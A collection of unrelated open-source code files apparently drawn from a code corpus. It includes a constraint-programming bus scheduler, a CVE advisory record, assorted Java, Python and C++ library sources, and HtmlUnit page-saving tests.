This is a slightly more general model than Taha's.
Compare with the following models:
* MiniZinc: http://www.hakank.org/minizinc/bus_scheduling.mzn
* Comet : http://www.hakank.org/comet/bus_schedule.co
* ECLiPSe : http://www.hakank.org/eclipse/bus_schedule.ecl
* Gecode : http://www.hakank.org/gecode/bus_schedule.cpp
* Tailor/Essence' : http://www.hakank.org/tailor/bus_schedule.eprime
* SICStus: http://hakank.org/sicstus/bus_schedule.pl
This model was created by <NAME> (<EMAIL>)
Also see my other Google CP Solver models:
http://www.hakank.org/google_or_tools/
"""
import sys
from ortools.constraint_solver import pywrapcp
def main(num_buses_check=0):
# Create the solver.
solver = pywrapcp.Solver("Bus scheduling")
# data
time_slots = 6
demands = [8, 10, 7, 12, 4, 4]
max_num = sum(demands)
# declare variables
x = [solver.IntVar(0, max_num, "x%i" % i) for i in range(time_slots)]
num_buses = solver.IntVar(0, max_num, "num_buses")
#
# constraints
#
solver.Add(num_buses == solver.Sum(x))
# Meet the demands for this and the next time slot
for i in range(time_slots - 1):
solver.Add(x[i] + x[i + 1] >= demands[i])
# The demand "around the clock"
solver.Add(x[time_slots - 1] + x[0] == demands[time_slots - 1])
if num_buses_check > 0:
solver.Add(num_buses == num_buses_check)
#
# solution and search
#
solution = solver.Assignment()
solution.Add(x)
solution.Add(num_buses)
collector = solver.AllSolutionCollector(solution)
cargs = [collector]
# objective
if num_buses_check == 0:
objective = solver.Minimize(num_buses, 1)
cargs.extend([objective])
solver.Solve(
solver.Phase(x, solver.CHOOSE_FIRST_UNBOUND, solver.ASSIGN_MIN_VALUE),
cargs)
num_solutions = collector.SolutionCount()
num_buses_check_value = 0
for s in range(num_solutions):
print("x:", [collector.Value(s, x[i]) for i in range(len(x))], end=" ")
num_buses_check_value = collector.Value(s, num_buses)
print(" num_buses:", num_buses_check_value)
print()
print("num_solutions:", num_solutions)
print("failures:", solver.Failures())
print("branches:", solver.Branches())
print("WallTime:", solver.WallTime())
print()
if num_buses_check == 0:
return num_buses_check_value
if __name__ == "__main__":
print("Check for minimun number of buses")
num_buses_check = main()
print("... got ", num_buses_check, "buses")
print("All solutions:")
main(num_buses_check)
| 1,171 |
892 | <filename>advisories/unreviewed/2022/05/GHSA-2v5j-pf93-x5xr/GHSA-2v5j-pf93-x5xr.json
{
"schema_version": "1.2.0",
"id": "GHSA-2v5j-pf93-x5xr",
"modified": "2022-05-01T01:56:48Z",
"published": "2022-05-01T01:56:48Z",
"aliases": [
"CVE-2005-1247"
],
"details": "webadmin.exe in Novell Nsure Audit 1.0.1 allows remote attackers to cause a denial of service via malformed ASN.1 packets in corrupt client certificates to an SSL server, as demonstrated using an exploit for the OpenSSL ASN.1 parsing vulnerability.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-1247"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0021.html"
},
{
"type": "WEB",
"url": "http://support.novell.com/cgi-bin/search/searchtid.cgi?/10097379.htm"
},
{
"type": "WEB",
"url": "http://www.cirt.dk/advisories/cirt-31-advisory.pdf"
},
{
"type": "WEB",
"url": "http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-01/0126.html"
}
],
"database_specific": {
"cwe_ids": [
],
"severity": "MODERATE",
"github_reviewed": false
}
} | 598 |
739 | # This is the gtk-dependent __pyjamas__ module.
# In javascript this module is not needed, any imports of this module
# are removed by the translator.
""" This module interfaces between PyWebkitGTK and the Pyjamas API,
to get applications kick-started.
"""
import sys
from traceback import print_stack
main_frame = None
gtk_module = None
def noSourceTracking(*args):
pass
def unescape(str):
s = s.replace("<", "<")
s = s.replace(">", ">")
s = s.replace(""", '"')
s = s.replace("&", "&") # must be LAST
return s
def set_gtk_module(m):
global gtk_module
gtk_module = m
def get_gtk_module():
global gtk_module
return gtk_module
def set_main_frame(frame):
global main_frame
main_frame = frame
from pyjamas import DOM
# ok - now the main frame has been set we can initialise the
# signal handlers etc.
DOM.init()
def get_main_frame():
return main_frame
def doc():
return main_frame.getDomDocument()
def wnd():
return main_frame.getDomWindow()
def JS(code):
""" try to avoid using this function, it will only give you grief
right now...
"""
ctx = main_frame.gjs_get_global_context()
try:
return ctx.eval(code)
except:
print "code", code
print_stack()
pygwt_moduleNames = []
def pygwt_processMetas():
from pyjamas import DOM
metas = doc().getElementsByTagName("meta")
for i in range(metas.length):
meta = metas.item(i)
name = DOM.getAttribute(meta, "name")
if name == "pygwt:module":
content = DOM.getAttribute(meta, "content")
if content:
pygwt_moduleNames.append(content)
return pygwt_moduleNames
class console:
@staticmethod
def error(msg):
print "TODO CONSOLE:", msg
def debugger():
pass
def INT(i):
return int(i)
| 759 |
334 | // Auto generated code, do not modify
package nxt.http.callers;
import nxt.http.APICall;
public class GetDGSPurchasesCall extends APICall.Builder<GetDGSPurchasesCall> {
private GetDGSPurchasesCall() {
super(ApiSpec.getDGSPurchases);
}
public static GetDGSPurchasesCall create() {
return new GetDGSPurchasesCall();
}
public GetDGSPurchasesCall requireLastBlock(String requireLastBlock) {
return param("requireLastBlock", requireLastBlock);
}
public GetDGSPurchasesCall seller(String seller) {
return param("seller", seller);
}
public GetDGSPurchasesCall firstIndex(int firstIndex) {
return param("firstIndex", firstIndex);
}
public GetDGSPurchasesCall completed(String completed) {
return param("completed", completed);
}
public GetDGSPurchasesCall lastIndex(int lastIndex) {
return param("lastIndex", lastIndex);
}
public GetDGSPurchasesCall withPublicFeedbacksOnly(String withPublicFeedbacksOnly) {
return param("withPublicFeedbacksOnly", withPublicFeedbacksOnly);
}
public GetDGSPurchasesCall requireBlock(String requireBlock) {
return param("requireBlock", requireBlock);
}
public GetDGSPurchasesCall buyer(String buyer) {
return param("buyer", buyer);
}
public GetDGSPurchasesCall buyer(long buyer) {
return unsignedLongParam("buyer", buyer);
}
}
| 522 |
1,392 | <gh_stars>1000+
from collections import defaultdict
from ...core.models import EventPayload
from ...webhook.models import WebhookEvent
from ..core.dataloaders import DataLoader
class PayloadByIdLoader(DataLoader):
context_key = "payload_by_id"
def batch_load(self, keys):
payload = EventPayload.objects.using(self.database_connection_name).in_bulk(
keys
)
return [payload.get(payload_id).payload for payload_id in keys]
class WebhookEventsByWebhookIdLoader(DataLoader):
context_key = "webhook_events_by_webhook_id"
def batch_load(self, keys):
webhook_events = WebhookEvent.objects.using(
self.database_connection_name
).filter(webhook_id__in=keys)
webhook_events_map = defaultdict(list)
for event in webhook_events:
webhook_events_map[event.webhook_id].append(event)
return [webhook_events_map.get(webhook_id, []) for webhook_id in keys]
| 379 |
2,151 | <gh_stars>1000+
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_ANDROID_CHROME_BACKUP_WATCHER_H_
#define CHROME_BROWSER_ANDROID_CHROME_BACKUP_WATCHER_H_
#include <jni.h>
#include <memory>
#include "base/android/scoped_java_ref.h"
#include "base/macros.h"
#include "components/prefs/pref_change_registrar.h"
class Profile;
namespace android {
// Watch the preferences that we back up using Android Backup, so that we can
// create a new backup whenever any of them change.
class ChromeBackupWatcher {
public:
explicit ChromeBackupWatcher(Profile* profile);
virtual ~ChromeBackupWatcher();
private:
PrefChangeRegistrar registrar_;
base::android::ScopedJavaGlobalRef<jobject> java_watcher_;
DISALLOW_COPY_AND_ASSIGN(ChromeBackupWatcher);
};
} // namespace android
#endif // CHROME_BROWSER_ANDROID_CHROME_BACKUP_WATCHER_H_
| 339 |
1,510 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.drill.exec.record;
import org.apache.drill.exec.record.metadata.SchemaBuilder;
public class BatchSchemaBuilder {
private BatchSchema.SelectionVectorMode svMode = BatchSchema.SelectionVectorMode.NONE;
private SchemaBuilder schemaBuilder;
public BatchSchemaBuilder() {
}
/**
* Create a new schema starting with the base schema. Allows appending
* additional columns to an additional schema.
*/
public BatchSchemaBuilder(BatchSchema baseSchema) {
schemaBuilder = new SchemaBuilder();
for (MaterializedField field : baseSchema) {
schemaBuilder.add(field);
}
}
public BatchSchemaBuilder withSVMode(BatchSchema.SelectionVectorMode svMode) {
this.svMode = svMode;
return this;
}
public BatchSchemaBuilder withSchemaBuilder(SchemaBuilder schemaBuilder) {
this.schemaBuilder = schemaBuilder;
return this;
}
public SchemaBuilder schemaBuilder() {
return schemaBuilder;
}
public BatchSchema build() {
return new BatchSchema(svMode, schemaBuilder.buildSchema().toFieldList());
}
}
| 538 |
1,392 | package io.fabric8.maven.docker.access;
import com.google.gson.JsonObject;
public class NetworkCreateConfig {
final JsonObject createConfig = new JsonObject();
final String name;
public NetworkCreateConfig(String name) {
this.name = name;
createConfig.addProperty("Name", name);
}
public String getName() {
return name;
}
/**
* Get JSON which is used for <em>creating</em> a network
*
* @return string representation for JSON representing creating a network
*/
public String toJson() {
return createConfig.toString();
}
}
| 225 |
1,194 | <filename>hapi-fhir-jpaserver-cql/src/test/resources/r4/provider/test-executable-value-set.json
{
"resourceType": "ValueSet",
"id": "test-executable-value-set",
"meta" : {
"profile" : [
"http://hl7.org/fhir/uv/cpg/StructureDefinition/cpg-executablevalueset"
]
},
"url": "http://test.com/fhir/ValueSet/test-executable-value-set",
"extension" : [
{
"url" : "http://hl7.org/fhir/uv/cpg/StructureDefinition/cpg-knowledgeCapability",
"valueCode" : "executable"
},
{
"url" : "http://hl7.org/fhir/uv/cpg/StructureDefinition/cpg-knowledgeRepresentationLevel",
"valueCode" : "executable"
},
{
"url" : "http://hl7.org/fhir/uv/cpg/StructureDefinition/cpg-usageWarning",
"valueString" : "This value set contains a point-in-time expansion enumerating the codes that meet the value set intent. As new versions of the code systems used by the value set are released, the contents of this expansion will need to be updated to incorporate newly defined codes that meet the value set intent. Before, and periodically during production use, the value set expansion contents SHOULD be updated. The value set expansion specifies the timestamp when the expansion was produced, SHOULD contain the parameters used for the expansion, and SHALL contain the codes that are obtained by evaluating the value set definition. If this is ONLY an executable value set, a distributable definition of the value set must be obtained to compute the updated expansion."
}
],
"expansion": {
"timestamp" : "2020-03-26T17:39:09-06:00",
"contains" : [
{
"system" : "http://test.com/codesystem/test",
"code" : "1234",
"display" : "1234"
},
{
"system" : "http://test.com/codesystem/test",
"code" : "ABCD",
"display" : "ABCD"
}
]
}
}
| 626 |
2,073 | /**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.activemq.util;
import java.io.File;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Converts string values like "20 Mb", "1024kb", and "1g" to long or int values in bytes.
*/
public final class XBeanByteConverterUtil {
private static final Pattern[] BYTE_MATCHERS = new Pattern[] {
Pattern.compile("^\\s*(\\d+)\\s*(b)?\\s*$", Pattern.CASE_INSENSITIVE),
Pattern.compile("^\\s*(\\d+)\\s*k(b)?\\s*$", Pattern.CASE_INSENSITIVE),
Pattern.compile("^\\s*(\\d+)\\s*m(b)?\\s*$", Pattern.CASE_INSENSITIVE),
Pattern.compile("^\\s*(\\d+)\\s*g(b)?\\s*$", Pattern.CASE_INSENSITIVE)};
private XBeanByteConverterUtil() {
// complete
}
public static Long convertToLongBytes(String str) throws IllegalArgumentException {
for (int i = 0; i < BYTE_MATCHERS.length; i++) {
Matcher matcher = BYTE_MATCHERS[i].matcher(str);
if (matcher.matches()) {
long value = Long.parseLong(matcher.group(1));
for (int j = 1; j <= i; j++) {
value *= 1024;
}
return Long.valueOf(value);
}
}
throw new IllegalArgumentException("Could not convert to a memory size: " + str);
}
public static Integer convertToIntegerBytes(String str) throws IllegalArgumentException {
for (int i = 0; i < BYTE_MATCHERS.length; i++) {
Matcher matcher = BYTE_MATCHERS[i].matcher(str);
if (matcher.matches()) {
int value = Integer.parseInt(matcher.group(1));
for (int j = 1; j <= i; j++) {
value *= 1024;
}
return Integer.valueOf(value);
}
}
throw new IllegalArgumentException("Could not convert to a memory size: " + str);
}
}
| 1,096 |
862 | <filename>lock-api/src/test/java/com/palantir/lock/LockDescriptorTest.java
/*
* (c) Copyright 2018 Palantir Technologies Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.palantir.lock;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import com.google.common.base.Charsets;
import com.google.common.io.BaseEncoding;
import org.junit.Test;
public class LockDescriptorTest {
private static final String HELLO_WORLD_LOCK_ID = "Hello world!";
private static final String OPPENHEIMER_LOCK_ID = "Now, I am become Death, the destroyer of worlds.";
private static final String MEANING_OF_LIFE_LOCK_ID = "~[42]";
@Test
public void testSimpleStringDescriptor() {
testAsciiLockDescriptors("abc123");
testAsciiLockDescriptors(HELLO_WORLD_LOCK_ID);
testAsciiLockDescriptors(OPPENHEIMER_LOCK_ID);
testAsciiLockDescriptors(MEANING_OF_LIFE_LOCK_ID);
testAsciiLockDescriptors(HELLO_WORLD_LOCK_ID + "/" + OPPENHEIMER_LOCK_ID);
}
@Test
public void testInvalidSimpleStringDescriptor() {
assertThatThrownBy(() -> testAsciiLockDescriptors("")).isInstanceOf(IllegalArgumentException.class);
}
@Test
public void testNullSimpleStringDescriptor() {
assertThatThrownBy(() -> testAsciiLockDescriptors(null)).isInstanceOf(NullPointerException.class);
}
@Test
public void testEncodedStringDescriptor() {
testEncodedLockDescriptors("a\tb\nc\rd");
testEncodedLockDescriptors(HELLO_WORLD_LOCK_ID + "\n");
testEncodedLockDescriptors("\t" + OPPENHEIMER_LOCK_ID);
testEncodedLockId(new byte[0]);
testEncodedLockId(new byte[] {0x00});
testEncodedLockId(new byte[] {'h', 0x00, 0x10, 'i'});
}
@Test
public void testInvalidEncodedStringDescriptor() {
assertThatThrownBy(() -> testEncodedLockDescriptors("")).isInstanceOf(IllegalArgumentException.class);
}
@Test
public void testNullEncodedStringDescriptor() {
assertThatThrownBy(() -> testEncodedLockDescriptors(null)).isInstanceOf(NullPointerException.class);
}
private void testAsciiLockDescriptors(String lockId) {
assertThat(StringLockDescriptor.of(lockId).toString()).isEqualTo(expectedLockDescriptorToString(lockId));
assertThat(ByteArrayLockDescriptor.of(stringToBytes(lockId)).toString())
.isEqualTo(expectedLockDescriptorToString(lockId));
}
private void testEncodedLockDescriptors(String lockId) {
assertThat(StringLockDescriptor.of(lockId).toString()).isEqualTo(expectedEncodedLockDescriptorToString(lockId));
testEncodedLockId(stringToBytes(lockId));
}
private void testEncodedLockId(byte[] bytes) {
assertThat(ByteArrayLockDescriptor.of(bytes).toString())
.isEqualTo(expectedEncodedLockDescriptorToString(bytes));
}
private static String expectedLockDescriptorToString(String lockId) {
assertThat(lockId).isNotNull();
return "LockDescriptor [" + lockId + "]";
}
private static String expectedEncodedLockDescriptorToString(String lockId) {
return expectedEncodedLockDescriptorToString(stringToBytes(lockId));
}
private static String expectedEncodedLockDescriptorToString(byte[] lockId) {
assertThat(lockId).isNotNull();
return "LockDescriptor [" + BaseEncoding.base16().encode(lockId) + "]";
}
@SuppressWarnings("checkstyle:jdkStandardCharsets") // StandardCharsets only in JDK 1.7+
private static byte[] stringToBytes(String lockId) {
return lockId.getBytes(Charsets.UTF_8);
}
}
| 1,570 |
953 | /*
* This file is part of Dependency-Track.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
* Copyright (c) <NAME>. All Rights Reserved.
*/
package org.dependencytrack.event;
import org.dependencytrack.model.Component;
import org.junit.Assert;
import org.junit.Test;
import java.util.ArrayList;
import java.util.List;
public class OssIndexAnalysisEventTest {
@Test
public void testDefaultConstructor() {
OssIndexAnalysisEvent event = new OssIndexAnalysisEvent();
Assert.assertNull(event.getProject());
Assert.assertEquals(0, event.getComponents().size());
}
@Test
public void testComponentConstructor() {
Component component = new Component();
OssIndexAnalysisEvent event = new OssIndexAnalysisEvent(component);
Assert.assertEquals(1, event.getComponents().size());
}
@Test
public void testComponentsConstructor() {
Component component = new Component();
List<Component> components = new ArrayList<>();
components.add(component);
OssIndexAnalysisEvent event = new OssIndexAnalysisEvent(components);
Assert.assertEquals(1, event.getComponents().size());
}
}
| 548 |
49,076 | /*
* Copyright 2002-2020 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.beans.factory;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.openjdk.jmh.annotations.Benchmark;
import org.openjdk.jmh.annotations.BenchmarkMode;
import org.openjdk.jmh.annotations.Mode;
import org.openjdk.jmh.annotations.Scope;
import org.openjdk.jmh.annotations.Setup;
import org.openjdk.jmh.annotations.State;
import org.openjdk.jmh.infra.Blackhole;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.beans.propertyeditors.CustomDateEditor;
import static org.springframework.core.testfixture.io.ResourceTestUtils.qualifiedResource;
/**
* Benchmark for creating prototype beans in a concurrent fashion.
* This benchmark requires to customize the number of worker threads {@code -t <int>} on the
* CLI when running this particular benchmark to leverage concurrency.
*
* @author <NAME>
*/
@BenchmarkMode(Mode.Throughput)
public class ConcurrentBeanFactoryBenchmark {
@State(Scope.Benchmark)
public static class BenchmarkState {
public DefaultListableBeanFactory factory;
@Setup
public void setup() {
this.factory = new DefaultListableBeanFactory();
new XmlBeanDefinitionReader(this.factory).loadBeanDefinitions(
qualifiedResource(ConcurrentBeanFactoryBenchmark.class, "context.xml"));
this.factory.addPropertyEditorRegistrar(
registry -> registry.registerCustomEditor(Date.class,
new CustomDateEditor(new SimpleDateFormat("yyyy/MM/dd"), false)));
}
}
@Benchmark
public void concurrentBeanCreation(BenchmarkState state, Blackhole bh) {
bh.consume(state.factory.getBean("bean1"));
bh.consume(state.factory.getBean("bean2"));
}
public static class ConcurrentBean {
private Date date;
public Date getDate() {
return this.date;
}
public void setDate(Date date) {
this.date = date;
}
}
}
| 806 |
480 | <gh_stars>100-1000
#ifndef MLIBC_FILE_WINDOW
#define MLIBC_FILE_WINDOW
#include <abi-bits/abi.h>
#include <mlibc/allocator.hpp>
#include <mlibc/debug.hpp>
#include <mlibc/internal-sysdeps.hpp>
#include <internal-config.h>
struct file_window {
file_window(const char *path) {
int fd;
if(mlibc::sys_open("/etc/localtime", __MLIBC_O_RDONLY, &fd))
mlibc::panicLogger() << "mlibc: Error opening file_window to "
<< path << frg::endlog;
if(!mlibc::sys_stat) {
MLIBC_MISSING_SYSDEP();
__ensure(!"cannot proceed without sys_stat");
}
struct stat info;
if(mlibc::sys_stat(mlibc::fsfd_target::fd, fd, nullptr, 0, &info))
mlibc::panicLogger() << "mlibc: Error getting TZinfo stats" << frg::endlog;
#ifdef MLIBC_MAP_FILE_WINDOWS
if(mlibc::sys_vm_map(nullptr, (size_t)info.st_size, PROT_READ, MAP_PRIVATE,
fd, 0, &_ptr))
mlibc::panicLogger() << "mlibc: Error mapping TZinfo" << frg::endlog;
#else
_ptr = getAllocator().allocate(info.st_size);
__ensure(_ptr);
size_t progress = 0;
while(progress < info.st_size) {
ssize_t chunk;
if(int e = mlibc::sys_read(fd, reinterpret_cast<char *>(_ptr) + progress,
info.st_size - progress, &chunk); e)
mlibc::panicLogger() << "mlibc: Read from file_window failed" << frg::endlog;
if(!chunk)
break;
progress += chunk;
}
if(progress != info.st_size)
mlibc::panicLogger() << "stat reports " << info.st_size << " but we only read "
<< progress << " bytes" << frg::endlog;
#endif
if(mlibc::sys_close(fd))
mlibc::panicLogger() << "mlibc: Error closing TZinfo" << frg::endlog;
}
// TODO: Write destructor to deallocate/unmap memory.
void *get() {
return _ptr;
}
private:
void *_ptr;
};
#endif // MLIBC_FILE_WINDOW
| 778 |
303 | # test slices; only 2 argument version supported by Micro Python at the moment
x = list(range(10))
a = 2
b = 4
c = 3
print(x[:])
print(x[::])
#print(x[::c])
print(x[:b])
print(x[:b:])
#print(x[:b:c])
print(x[a])
print(x[a:])
print(x[a::])
#print(x[a::c])
print(x[a:b])
print(x[a:b:])
#print(x[a:b:c])
# these should not raise IndexError
print([][1:])
print([][-1:])
| 176 |
2,035 | <reponame>HyunSangHan/egjs-flicking
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"baseUrl": "./",
"outDir": "./out-tsc/spec",
"skipLibCheck": true,
"strict": false,
"jsx": "react-jsx",
"jsxImportSource": "preact",
"experimentalDecorators": true,
"paths": {
"@common/renderer": ["./PreactFixtureRenderer"],
"@egjs/flicking": ["../../../../src/index.ts"],
"@egjs/preact-flicking": ["./lib/@egjs/preact-flicking/index.ts"],
"@egjs/react-flicking": ["../react/lib/@egjs/react-flicking/index.ts"],
"react": ["./node_modules/preact/compat"],
"react-dom": ["./node_modules/preact/compat"]
}
},
"include": []
}
| 318 |
581 | /*
* Copyright (c) 2002-2022 Gargoyle Software Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.gargoylesoftware.htmlunit.html;
import static java.nio.charset.StandardCharsets.ISO_8859_1;
import static java.nio.charset.StandardCharsets.UTF_8;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.text.RandomStringGenerator;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.junit.runner.RunWith;
import com.gargoylesoftware.htmlunit.CollectingAlertHandler;
import com.gargoylesoftware.htmlunit.MockWebConnection;
import com.gargoylesoftware.htmlunit.SimpleWebTestCase;
import com.gargoylesoftware.htmlunit.WebClient;
import com.gargoylesoftware.htmlunit.junit.BrowserRunner;
import com.gargoylesoftware.htmlunit.junit.BrowserRunner.Alerts;
import com.gargoylesoftware.htmlunit.util.MimeType;
import com.gargoylesoftware.htmlunit.util.NameValuePair;
/**
* Tests for {@link HtmlPage}.
*
* @author <NAME>
* @author <NAME>
* @author <NAME>ill
*/
@RunWith(BrowserRunner.class)
public class HtmlPage2Test extends SimpleWebTestCase {
/**
* Utility for temporary folders.
* Has to be public due to JUnit's constraints for @Rule.
*/
@Rule
public final TemporaryFolder tmpFolderProvider_ = new TemporaryFolder();
/**
* @throws Exception if the test fails
*/
@Test
public void getFullQualifiedUrl_topWindow() throws Exception {
final String firstHtml = "<html><head><title>first</title>\n"
+ "<script>\n"
+ "function init() {\n"
+ " var iframe = window.frames['f'];\n"
+ " iframe.document.write(\"<form name='form' action='" + URL_SECOND + "'>"
+ "<input name='submit' type='submit'></form>\");\n"
+ " iframe.document.close();\n"
+ "}\n"
+ "</script></head>\n"
+ "<body onload='init()'>\n"
+ " <iframe name='f'></iframe>\n"
+ "</body></html>";
final String secondHtml = "<html><head><title>second</title></head>\n"
+ "<body><p>Form submitted successfully.</p></body></html>";
final WebClient client = getWebClient();
final MockWebConnection webConnection = new MockWebConnection();
webConnection.setResponse(URL_FIRST, firstHtml);
webConnection.setDefaultResponse(secondHtml);
client.setWebConnection(webConnection);
final HtmlPage page = client.getPage(URL_FIRST);
HtmlPage framePage = (HtmlPage) page.getFrameByName("f").getEnclosedPage();
final HtmlForm form = framePage.getFormByName("form");
final HtmlInput submit = form.getInputByName("submit");
framePage = submit.click();
assertEquals("Form submitted successfully.", framePage.getBody().asNormalizedText());
}
/**
* @throws Exception if the test fails
*/
@Test
@Alerts("Hello there")
public void save() throws Exception {
final String html = "<html><head><script src='" + URL_SECOND + "'>\n</script></head></html>";
final String js = "alert('Hello there')";
final WebClient webClient = getWebClient();
final MockWebConnection webConnection = new MockWebConnection();
webConnection.setResponse(URL_FIRST, html);
webConnection.setResponse(URL_SECOND, js);
webClient.setWebConnection(webConnection);
final List<String> collectedAlerts = new ArrayList<>();
webClient.setAlertHandler(new CollectingAlertHandler(collectedAlerts));
final HtmlPage page = webClient.getPage(URL_FIRST);
assertEquals(getExpectedAlerts(), collectedAlerts);
final HtmlScript sript = page.getFirstByXPath("//script");
assertEquals(URL_SECOND.toString(), sript.getSrcAttribute());
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final String content = FileUtils.readFileToString(file, ISO_8859_1);
assertFalse(content.contains("<script"));
assertEquals(URL_SECOND.toString(), sript.getSrcAttribute());
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_image() throws Exception {
final String html = "<html><body><img src='" + URL_SECOND + "'></body></html>";
final URL url = getClass().getClassLoader().getResource("testfiles/tiny-jpg.img");
final WebClient webClient = getWebClientWithMockWebConnection();
try (FileInputStream fis = new FileInputStream(new File(url.toURI()))) {
final byte[] directBytes = IOUtils.toByteArray(fis);
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
final List<NameValuePair> emptyList = Collections.emptyList();
webConnection.setResponse(URL_SECOND, directBytes, 200, "ok", "image/jpg", emptyList);
}
final HtmlPage page = webClient.getPage(URL_FIRST);
final HtmlImage img = page.getFirstByXPath("//img");
assertEquals(URL_SECOND.toString(), img.getSrcAttribute());
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save2.html");
final File imgFile = new File(tmpFolder, "hu_HtmlPageTest_save2/second.jpeg");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final byte[] loadedBytes = FileUtils.readFileToByteArray(imgFile);
assertTrue(loadedBytes.length > 0);
assertEquals(URL_SECOND.toString(), img.getSrcAttribute());
}
/**
* As of 24.05.2011 an IOException was occurring when saving a page where
* the response to the request for an image was not an image.
* @throws Exception if the test fails
*/
@Test
public void save_imageNotImage() throws Exception {
final String html = "<html><body><img src='foo.txt'></body></html>";
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setDefaultResponse("hello", MimeType.TEXT_PLAIN);
final HtmlPage page = loadPageWithAlerts(html);
final File folder = tmpFolderProvider_.newFolder("hu");
final File file = new File(folder, "hu_save.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final File imgFile = new File(folder, "hu_save/foo.txt");
assertEquals("hello", FileUtils.readFileToString(imgFile, UTF_8));
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_image_without_src() throws Exception {
final String html = "<html><body><img></body></html>";
final WebClient webClient = getWebClientWithMockWebConnection();
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
final HtmlPage page = webClient.getPage(URL_FIRST);
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save3.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final HtmlImage img = page.getFirstByXPath("//img");
assertEquals(DomElement.ATTRIBUTE_NOT_DEFINED, img.getSrcAttribute());
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_image_empty_src() throws Exception {
final String html = "<html><body><img src=''></body></html>";
final WebClient webClient = getWebClientWithMockWebConnection();
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
final HtmlPage page = webClient.getPage(URL_FIRST);
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save3.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final HtmlImage img = page.getFirstByXPath("//img");
assertEquals(DomElement.ATTRIBUTE_NOT_DEFINED, img.getSrcAttribute());
}
/**
